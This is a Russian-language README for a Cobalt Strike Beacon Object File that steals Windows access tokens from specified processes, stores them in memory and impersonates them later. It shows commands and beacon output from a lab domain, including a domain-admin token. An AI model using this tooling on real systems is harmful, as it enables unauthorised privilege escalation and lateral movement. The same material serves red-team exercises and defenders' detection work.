Token Vault BOF для Cobalt Strike

Этот Beacon Object File (BOF) создаёт в памяти хранилище для украденных/дублированных токенов доступа Windows, позволяя вам:

Горячая замена/повторное использование уже украденных токенов без повторного дублирования.
Хранение токенов для последующего использования в случае выхода пользователя из системы.

Установка

Загрузите последнюю релизную сборку или соберите её с помощью make all.
Загрузите aggressor-скрипт token-vault.cna в ваш клиент Cobalt Strike.

Использование

beacon> help token-vault
Available Commands:
    Create a new token vault:    token-vault create
    Steal and store tokens:      token-vault steal <comma separated list of PIDs> [vault-id]
    Use the stored token:        token-vault use <token-id> [vault-id]
    Show the stored tokens:      token-vault show [vault-id]
    Remove the stored token:     token-vault remove <token-id> [vault-id]
    Remove all tokens:           token-vault remove-all [vault-id]
    Set the default token vault: token-vault set <vault-id>

Создание хранилища

Команда token-vault create выделяет пустое хранилище из кучи бикона. Полученный вывод содержит адрес памяти хранилища (также известный как vault id), который используется для указания хранилища для других команд token-vault.

beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610

Кроме того, конкретный vault id можно установить в качестве хранилища по умолчанию, которое используется, если команда token-vault не содержит vault id.

beacon> token-vault set 0000000000C31610

Важно отметить, что настроенные хранилища по умолчанию находятся внутри клиента Cobalt Strike и не используются совместно между клиентами.

Кража токена

Команда token-vault steal дублирует токены указанных процессов и сохраняет их в хранилище.

beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin

Просмотр сохранённых токенов

beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited

Использование токена

Команда token-vault use выполняет имперсонацию токеном из хранилища. Если токен не существует, он будет украден и сохранён в хранилище.

beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited

beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da

Удаление токена

Команда token-vault remove удаляет сохранённый токен из хранилища.

beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600

Кроме того, команда token-vault remove-all удаляет все токены сразу.

cs-token-vault

Популярное